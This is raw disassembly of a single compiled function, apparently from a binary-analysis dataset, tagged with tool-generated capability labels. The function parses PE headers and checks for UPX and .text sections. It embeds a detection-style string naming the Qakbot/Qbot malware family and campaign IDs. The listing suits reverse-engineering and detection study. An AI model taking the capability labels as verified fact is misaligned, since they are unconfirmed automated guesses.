Function at 0x1800459c0
Capabilities:
Check http status code
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x11d8
call fcn.180069bd0
sub rsp, rax
movdqa xmmword [rsp + 0x11c0], xmm8
movdqa xmmword [rsp + 0x11b0], xmm7
movdqa xmmword [rsp + 0x11a0], xmm6
mov r13, r9
mov r15, r8
mov r12, rdx
mov qword [rsp + 0x1190], rcx
mov eax, dword [rdx + 0x38]
mov dword [rsp + 0x150], 6
mov qword [rsp + 0x160], 0
mov dword [rsp + 0x168], eax
mov qword [rsp + 0x138], 0
mov rax, qword [r8]
movzx ecx, word [rax + 0x180]
cmp ecx, 0x8664
mov qword [rsp + 0xc0], r9
mov qword [rsp + 0x98], r8
mov qword [rsp + 0xc8], rdx
jne 0x180046cab
movzx ecx, word [rax + 0x166]
and ecx, 0xfffffffe
cmp cx, 2
jne 0x180045bb7
mov ecx, dword [rax + 0x138]
xor edx, edx
sub ecx, 1
cmovb ecx, edx
movzx edx, word [rax + 0x182]
and edx, 0xfffffffe
cmp dx, 2
jne 0x180045ac5
mov rdx, qword [rax + 0x68]
cmp rdx, 2
jb 0x18004666d
mov r8, qword [rax + 0x60]
cmp byte [r8 + 0x2f], 0
jne 0x180045ac5
cmp byte [r8 + 0x2e], 0
jne 0x180045ac5
cmp byte [r8 + 0x2d], 0
jne 0x180045ac5
cmp byte [r8 + 0x2c], 0
je 0x180046186
mov rdx, qword [rax + 0x68]
test rdx, rdx
je 0x180045bb7
mov rcx, qword [rax + 0x60]
shl rdx, 3
lea rdx, [rdx + rdx*4]
xor r8d, r8d
jmp 0x180045afd
add r8, 0x28
cmp rdx, r8
je 0x180045bb7
mov r9d, dword [rcx + r8 + 0x20]
not r9d
test r9d, 0xa0000000
jne 0x180045af0
mov r9d, dword [rax + 0x12c]
sub r9d, dword [rcx + r8 + 0xc]
jb 0x180045af0
cmp r9d, dword [rcx + r8 + 8]
jae 0x180045af0
mov qword [rsp + 0x180], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x188], xmm0
lea r8, [0x180073dfc]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xda41f9ad
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180045bb4
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov rax, qword [r15]
movzx ecx, word [rax + 0x182]
add ecx, 0xfffffffe
cmp cx, 2
ja 0x180045bf3
movzx ecx, word [rax + 0x166]
and ecx, 0xfffffffe
cmp cx, 2
jne 0x180045bf3
movzx ecx, word [rax + 0x186]
cmp ecx, 0x2022
jne 0x180045bf3
cmp dword [rax + 0x12c], 0
je 0x180045f52
mov rax, qword [r15]
movzx ecx, word [rax + 0x186]
cmp ecx, 0x2022
jne 0x180045c2f
cmp dword [rax + 0x78], 0
je 0x180045c2f
cmp qword [rax + 0x68], 3
jb 0x180045c2f
mov r13, qword [rax + 0x60]
cmp byte [r13 + 0x2f], 0
jne 0x180045c2f
cmp byte [r13 + 0x2e], 0
jne 0x180045c2f
cmp byte [r13 + 0x2d], 0
je 0x180046024
mov rax, qword [r15]
cmp dword [rax + 0x78], 0
mov r14, qword [rsp + 0xc0]
je 0x180047e3c
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov rdx, r15
mov r8, r14
call fcn.1800660c0
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180045ccb
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180045ee5
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180045ef0
mov rax, qword [rsp + 0x188]
mov r13, qword [rsp + 0x190]
mov qword [rsp + 0x1180], 0
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x70], 4
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x78], rcx
mov rbp, qword [rax + 0x30]
mov rax, qword [rax + 0x38]
lea rax, [rax + rax*4]
lea r15, [rax*8]
add r15, rbp
xor r14d, r14d
mov edi, 0x101
lea rbx, [rsp + 0x70]
cmp rbp, r15
jne 0x180045d4d
jmp 0x1800462cc
add rbp, 0x28
cmp rbp, r15
je 0x1800462cc
mov rdx, qword [rbp + 8]
test rdx, rdx
je 0x180045d40
mov rcx, qword [rbp + 0x10]
cmp rcx, 3
jbe 0x180045d40
movzx eax, byte [rdx]
lea r8d, [rax - 0x7f]
cmp r8b, 0xa1
jae 0x180045d72
xor r8d, r8d
jmp 0x180045da3
mov r8b, 2
cmp al, 0x5f
je 0x180045da3
lea r9d, [rax - 0x30]
mov r8b, 3
cmp r9b, 0xa
jb 0x180045da3
lea r9d, [rax - 0x41]
mov r8b, 4
cmp r9b, 0x1a
jb 0x180045da3
add al, 0x9f
cmp al, 0x1a
setb r8b
shl r8b, 2
or r8b, 1
add rbp, 0x28
mov r9d, 1
xor eax, eax
jmp 0x180045ddb
xor r10d, r10d
xor r11d, r11d
cmp r8b, r10b
setne r11b
add rax, r11
inc r9
mov r8d, r10d
cmp rcx, r9
je 0x180045e23
movzx r11d, byte [rdx + r9]
lea r10d, [r11 - 0x7f]
cmp r10b, 0xa1
jb 0x180045dc0
mov r10b, 2
cmp r11b, 0x5f
je 0x180045dc3
lea esi, [r11 - 0x30]
mov r10b, 3
cmp sil, 0xa
jb 0x180045dc3
lea esi, [r11 - 0x41]
mov r10b, 4
cmp sil, 0x1a
jb 0x180045dc3
add r11b, 0x9f
cmp r11b, 0x1a
setb r10b
shl r10b, 2
or r10b, 1
jmp 0x180045dc3
shl rax, 0x20
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x180045e3d
xor edx, edx
div rcx
mov rsi, rax
jmp 0x180045e43
xor edx, edx
div ecx
mov esi, eax
mov rax, rsi
shr rax, 0x20
shl rsi, 0x20
or rsi, 0x100
test rax, rax
cmovne rsi, rdi
test sil, sil
jne 0x180046c50
mov r12, r14
inc r12
je 0x180046251
cmp r12, qword [rsp + 0x88]
jbe 0x180045eaf
mov rcx, r12
call fcn.180008a30
test rax, rax
je 0x180045e9c
cmp rax, r12
jbe 0x180045e9c
mov rcx, rbx
mov rdx, rax
call fcn.1800326e0
cmp al, 8
je 0x180045eaf
mov rcx, rbx
mov rdx, r12
call fcn.1800326e0
cmp al, 8
jne 0x1800462bc
shr rsi, 0x20
mov rax, qword [rsp + 0x70]
mov r14, qword [rsp + 0x80]
mov dword [rax + r14*4], esi
inc r14
mov qword [rsp + 0x80], r14
mov r12, qword [rsp + 0xc8]
cmp rbp, r15
jne 0x180045d4d
jmp 0x1800462cc
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x545e8483
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x180], edi
mov dword [rsp + 0x184], esi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], ecx
mov dword [rsp + 0x194], edx
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800744e9]
lea r9, [rsp + 0x180]
mov r8d, 7
call fcn.180057260
jmp 0x180047e3c
cmp dword [rax + 0x78], 0
je 0x180045bf3
mov ecx, dword [rax + 0x80]
or ecx, dword [rax + 0x84]
jne 0x180045bf3
mov rdx, qword [rax + 0x68]
cmp rdx, 1
jbe 0x180046742
mov rcx, qword [rax + 0x60]
mov esi, dword [rcx + 0x34]
add rsi, qword [rax + 0x188]
mov ebx, dword [rcx + 0x30]
lea r9, [rbx + rsi]
add r9, 0xfffffffffffffff8
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x180]
call fcn.180039690
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x1800460e1
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180046263
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004626e
cmp byte [r13 + 0x2c], 0
je 0x180045c2f
mov eax, dword [r13 + 0x28]
movzx ecx, byte [r13 + 0x2c]
shl rcx, 0x20
or rcx, rax
movabs rax, 0x747865742e
cmp rcx, rax
jne 0x180045c2f
lea rcx, [rsp + 0x180]
mov rdx, r15
mov r8, qword [rsp + 0xc0]
call fcn.1800660c0
mov r15d, dword [rsp + 0x180]
test r15d, r15d
je 0x18004645c
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800464b2
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800464bd
cmp qword [rsp + 0x188], 0
je 0x180045bf3
add rsi, rbx
lea r9, [rsi + 8]
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x180]
call fcn.180039690
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x1800463bb
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180046495
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800464a0
cmp byte [r8 + 0x2b], 0
je 0x180045ac5
cmp dword [r8 + 0x28], 0x30585055
jne 0x180045ac5
test dword [r8 + 0x30], ecx
jne 0x180045ac5
cmp dword [r8 + 0x38], 0
jne 0x180045ac5
cmp dword [r8 + 0x48], 0xe0000080
jne 0x180045ac5
cmp rdx, 3
jb 0x180046c79
cmp byte [r8 + 0x57], 0
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jne 0x180045ac5
cmp byte [r8 + 0x56], 0
jne 0x180045ac5
cmp byte [r8 + 0x55], 0
jne 0x180045ac5
cmp byte [r8 + 0x54], 0
jne 0x180045ac5
cmp byte [r8 + 0x53], 0
je 0x180045ac5
cmp dword [r8 + 0x50], 0x31585055
jne 0x180045ac5
test dword [r8 + 0x58], ecx
jne 0x180045ac5
cmp dword [r8 + 0x60], 0
je 0x180045ac5
cmp dword [r8 + 0x70], 0xe0000040
jne 0x180045ac5
jmp 0x180045bb7
mov qword [rsp + 0x40], r14
mov r12, qword [rsp + 0xc8]
jmp 0x1800462e4
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x579a9b79
movdqa xmm0, xmmword [rsp + 0x70]
mov dword [rsp + 0x180], edi
mov dword [rsp + 0x184], esi
movdqu xmmword [rsp + 0x188], xmm0
mov rcx, qword [r12 + 0x28]
lea rdx, str.iciem2205expncchcs_d_vcs_s_rem2301em230420qakbotqbot0410pg690pg690_2pg690_3pg690_4pg690_5pg690_6pg690_7pg690_8pg690_9pg690_10pg690_11pg690_12pg690_13pg690_14pg690_15pg690_16pg690_17tjdpg690_18pg690_19pg690_20pg690_21pg690_22pg690_23pg690_24pg690_25pg690_26pg690_27pg690_28pg690_29pg690_30pg690_31pg690_32pg690_33pg690_34pg733pg734pg735ak0evtestftestfile_vs_testsstest_type_:_sysc___id_:_
lea r9, [rsp + 0x180]
mov r8d, 3
call fcn.180057260
jmp 0x180045bf3
mov r14, qword [rsp + 0x80]
mov r12, qword [rsp + 0xc8]
mov qword [rsp + 0x40], r14
cmp r14, 2
jae 0x1800462e4
mov r15, qword [rsp + 0x88]
jmp 0x180047d97
mov rsi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x88]
cmp r14, r15
mov rdx, r15
cmovb rdx, r14
test rdx, rdx
je 0x18004630a
bsr rax, rdx
xor rax, 0x3f
jmp 0x18004630f
mov eax, 0x40
mov ecx, 0x40
sub ecx, eax
mov dword [rsp + 0x20], ecx
xor edi, edi
lea r8, [rsp + 0xa0]
mov rcx, rsi
xor r9d, r9d
call fcn.18005c4c0
mov eax, dword [rsi]
mov dword [rsp + 0x108], eax
mov rax, r14
and rax, 0xfffffffffffffffe
mov eax, dword [rsi + rax*2]
mov dword [rsp + 0xf0], eax
mov eax, dword [rsi + r14*4 - 4]
mov dword [rsp + 0xd0], eax
mov eax, 0
cmp r14, 4
jb 0x180047cae
mov rdi, r14
and rdi, 0xfffffffffffffffc
pxor xmm1, xmm1
xor eax, eax
pxor xmm2, xmm2
pxor xmm0, xmm0
nop dword [rax]
movq xmm3, qword [rsi + rax*4]
movq xmm4, qword [rsi + rax*4 + 8]
punpckldq xmm3, xmm1
paddq xmm2, xmm3
punpckldq xmm4, xmm1
paddq xmm0, xmm4
add rax, 4
cmp rdi, rax
jne 0x180046380
paddq xmm0, xmm2
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
jmp 0x180047cb7
cmp qword [rsp + 0x188], 0
je 0x180045bf3
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.180039690
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180046514
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800465cb
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800465d6
mov rsi, qword [rsp + 0x188]
mov r12, qword [rsp + 0x190]
cmp dword [rsi + 0x18], 0xa
mov r15, qword [rsp + 0x98]
ja 0x180046484
cmp dword [rsi + 0x14], 0
je 0x1800465e8
dec qword [r12]
mov r12, qword [rsp + 0xc8]
jmp 0x180045c2f
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x579a9b7c
jmp 0x18004627b
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdbc3
movdqa xmm0, xmmword [rsp + 0x70]
mov dword [rsp + 0x180], r15d
mov dword [rsp + 0x184], esi
movdqu xmmword [rsp + 0x188], xmm0
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800744e3]
lea r9, [rsp + 0x180]
mov r8d, 6
call fcn.180057260
mov r15, qword [rsp + 0x98]
jmp 0x180045c2f
cmp qword [rsp + 0x188], 0
jne 0x180045bf3
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x18007498c]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x15c9146b
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x1800465b6
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jmp 0x180045bf3
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x579a9b73
jmp 0x18004627b
lea rcx, [0x1800701c5]
mov edx, 0x11
call fcn.180069920
mov r14, qword [rsi + 0x30]
mov rsi, qword [rsi + 0x38]
lea rdi, [rsi*8]
lea rcx, [rdi + rdi*4]
lea rbp, [r14 + rcx]
mov rdx, r14
test rcx, rcx
je 0x180046484
mov r8, rdx
add rdx, 0x28
add rcx, 0xffffffffffffffd8
cmp dword [r8], 0
je 0x180046614
cmp dword [r8 + 4], eax
jne 0x180046614
lea rcx, [0x1800701d6]
mov edx, 0x13
call fcn.180069920
lea rcx, [rdi + rdi*4]
mov rdx, r14
test rcx, rcx
je 0x180046679
mov r8, rdx
add rdx, 0x28
add rcx, 0xffffffffffffffd8
cmp dword [r8], 0
je 0x18004664c
cmp dword [r8 + 4], eax
jne 0x18004664c
jmp 0x180046484
lea r8, [0x180075d58]
jmp 0x180047ca2
test rsi, rsi
je 0x180046484
cmp dword [r14 + 0x24], 0
jne 0x180046484
cmp rsi, 1
jne 0x18004674e
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800701e9]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xb1d111b0
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180046731
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
dec qword [r12]
mov r15, qword [rsp + 0x98]
jmp 0x180046488
lea r8, [0x180070648]
jmp 0x180047ca2
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rbx, qword [rax + 0x188]
add r14, 0x28
movdqa xmm6, xmmword [0x18006b180]
movdqa xmm7, xmmword [0x18006b170]
mov eax, dword [r14 + 0x24]
mov edx, dword [r13 + 0x34]
mov ecx, eax
sub ecx, edx
jb 0x180046731
cmp ecx, dword [r13 + 0x30]
jae 0x180046731
lea rsi, [rbx + rax]
add rax, rbx
add rax, 0x20
mov rdi, rax
sub rdi, 1
mov ecx, 0
cmovb rdi, rcx
test rax, rax
mov eax, 1
cmove rsi, rax
cmp rsi, rdi
ja 0x180046c91
add r14, 0x28
mov r9, rdi
sub r9, rsi
inc r9
mov rax, 0xffffffffffffffff
cmove r9, rax
lea rcx, [rsp + 0x180]
mov rdx, qword [rsp + 0xc0]
mov r8, rsi
call fcn.180062810
mov r15d, dword [rsp + 0x180]
test r15d, r15d
jne 0x180046aad
mov rax, qword [rsp + 0x190]
test rax, rax
je 0x180046a2c
mov rcx, qword [rsp + 0x188]
xor edx, edx
cmp rax, rdx
je 0x180046828
lea r8, [rdx + 1]
cmp byte [rcx + rdx], 0x3c
mov rdx, r8
jne 0x180046814
jmp 0x180046849
lea rcx, [rax + rsi]
dec rcx
cmp rcx, rdi
je 0x180046a4d
add rsi, rax
cmp rsi, rdi
jbe 0x1800467bc
jmp 0x180046c91
lea rax, [rsi + r8]
dec rax
movq xmm0, rax
pslldq xmm0, 8
movq rax, xmm0
test rax, rax
jne 0x180046731
pshufd xmm0, xmm0, 0xee
movq rsi, xmm0
lea rax, [rsi + 0x20]
mov rcx, rax
sub rcx, 1
mov edi, 0
cmovae rdi, rcx
test rax, rax
mov eax, 1
cmove rsi, rax
cmp rsi, rdi
ja 0x180046c91
mov r9, rdi
sub r9, rsi
inc r9
mov rax, 0xffffffffffffffff
cmove r9, rax
lea rcx, [rsp + 0x180]
mov rdx, qword [rsp + 0xc0]
mov r8, rsi
call fcn.180062810
mov r15d, dword [rsp + 0x180]
test r15d, r15d
jne 0x180046b10
mov rax, qword [rsp + 0x190]
test rax, rax
je 0x180046a37
mov rcx, qword [rsp + 0x188]
xor edx, edx
cmp rax, rdx
je 0x180046907
lea r8, [rdx + 1]
cmp byte [rcx + rdx], 0x88
mov rdx, r8
jne 0x1800468f3
jmp 0x180046928
lea rcx, [rax + rsi]
dec rcx
cmp rcx, rdi
je 0x180046a6d
add rsi, rax
cmp rsi, rdi
jbe 0x18004689b
jmp 0x180046c91
lea rax, [rsi + r8]
dec rax
movq xmm0, rax
pslldq xmm0, 8
movq rax, xmm0
test rax, rax
jne 0x180046731
pshufd xmm0, xmm0, 0xee
movq rsi, xmm0
lea rax, [rsi + 0x20]
mov rcx, rax
sub rcx, 1
mov edi, 0
cmovae rdi, rcx
test rax, rax
mov eax, 1
cmove rsi, rax
cmp rsi, rdi
ja 0x180046c91
mov r9, rdi
sub r9, rsi
inc r9
mov rax, 0xffffffffffffffff
cmove r9, rax
lea rcx, [rsp + 0x180]
mov rdx, qword [rsp + 0xc0]
mov r8, rsi
call fcn.180062810
mov r15d, dword [rsp + 0x180]
test r15d, r15d
jne 0x180046b73
mov rax, qword [rsp + 0x190]
test rax, rax
je 0x180046a42
mov rcx, qword [rsp + 0x188]
xor edx, edx
cmp rax, rdx
je 0x1800469e2
lea r8, [rdx + 1]
cmp byte [rcx + rdx], 0x1c
mov rdx, r8
jne 0x1800469ce
jmp 0x1800469ff
lea rcx, [rax + rsi]
dec rcx
cmp rcx, rdi
je 0x180046a8d
add rsi, rax
cmp rsi, rdi
jbe 0x18004697a
jmp 0x180046c91
lea rax, [rsi + r8]
dec rax
movq xmm0, rax
pslldq xmm0, 8
movq rax, xmm0
test rax, rax
jne 0x180046731
cmp r14, rbp
jne 0x180046774
jmp 0x180046697
movq xmm1, rsi
movdqa xmm0, xmm6
jmp 0x180046a56
movq xmm1, rsi
movdqa xmm0, xmm6
jmp 0x180046a76
movq xmm1, rsi
movdqa xmm0, xmm6
jmp 0x180046a96
movq xmm1, rdi
movdqa xmm0, xmm7
punpcklqdq xmm0, xmm1
movq rax, xmm0
test rax, rax
je 0x180046868
jmp 0x180046731
movq xmm1, rdi
movdqa xmm0, xmm7
punpcklqdq xmm0, xmm1
movq rax, xmm0
test rax, rax
je 0x180046947
jmp 0x180046731
movq xmm1, rdi
movdqa xmm0, xmm7
punpcklqdq xmm0, xmm1
movq rax, xmm0
test rax, rax
je 0x180046a1e
jmp 0x180046731
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180046bcf
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180046bdd
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180046bf2
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180046c00
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180046c15
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180046c23
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xa8], 0x5d7bdbde
jmp 0x180046c36
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xa8], 0x5d7bdba3
jmp 0x180046c36
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xa8], 0x5d7bdba8
movdqa xmm0, xmmword [rsp + 0xa0]
dec qword [r12]
mov r12, qword [rsp + 0xc8]
jmp 0x1800464d0
mov byte [rsp + 0x40], 1
lea rax, [0x180076078]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x180074fa8]
lea r8, [rsp + 0x40]
jmp 0x180056fa4
lea r8, [0x180075d70]
mov ecx, 2
mov edx, 2
call fcn.18000b9f0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value1AF0A12B
lea r8, [0x180074eb0]
mov edx, 0x2b
call fcn.18000c680
ud2
cmp byte [r12 + 0x3d], 0
je 0x1800476e7
movabs r13, 0x443322110000
lea rcx, [0x18006e28c]
mov edx, 8
call fcn.1800110d0
mov esi, eax
test eax, eax
mov edi, 1
cmove esi, edi
lea rcx, [0x1800761a9]
mov edx, 6
call fcn.1800110d0
test eax, eax
cmove eax, edi
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], eax
mov qword [rsp + 0x188], 0
mov dword [rsp + 0x190], 0x76841121
mov r12, qword [r12 + 0x28]
lea rdx, [0x180074638]
lea r9, [rsp + 0x180]
mov r8d, 5
mov rcx, r12
call fcn.180057260
mov rax, qword [r15]
cmp qword [rax + 0xf8], r13
jne 0x18004707a
cmp dword [rax + 0x14c], 0x6d736b63
jne 0x18004707a
mov rax, qword [rsp + 0xc0]
mov rsi, qword [rax]
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x180]
mov r9, qword [rsp + 0x1240]
call fcn.180002a00
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x180046df5
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180046f12
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180046f1d
mov r15, qword [rsp + 0x188]
mov rax, qword [r15 + 0x10]
cmp rax, qword [rsi + 0x10]
jne 0x180056ce6
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rcx, qword [rax + 0x68]
sub rcx, 1
jb 0x180052a20
mov rbp, qword [rsp + 0x190]
lea rbx, [r15 + 0x10]
mov rax, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov edx, dword [rax + rcx*8 + 0x10]
add edx, dword [rax + rcx*8 + 0x14]
cmp edx, 0x400
jne 0x180046f35
mov r8, qword [r15 + 0x40]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xa0], xmm0
mov dword [rsp + 0xb0], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 0x14
lea rcx, [rsp + 0x180]
mov r9d, 0x400
mov rdx, rsi
call fcn.180038a10
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x180046f3d
mov qword [rsp + 0xe8], rbp
mov rbp, rbx
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x78], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180046fb4
lea rcx, [rsp + 0x70]
call fcn.1800366d0
xor eax, eax
jmp 0x180046fbf
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov edi, esi
shr edi, 8
movq xmm6, rax
shufpd xmm6, xmmword [0x18006b1d0], 2
jmp 0x18004703c
xor r14d, r14d
jmp 0x180046feb
mov rdi, qword [rsp + 0x188]
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rsi, qword [rax + 0x188]
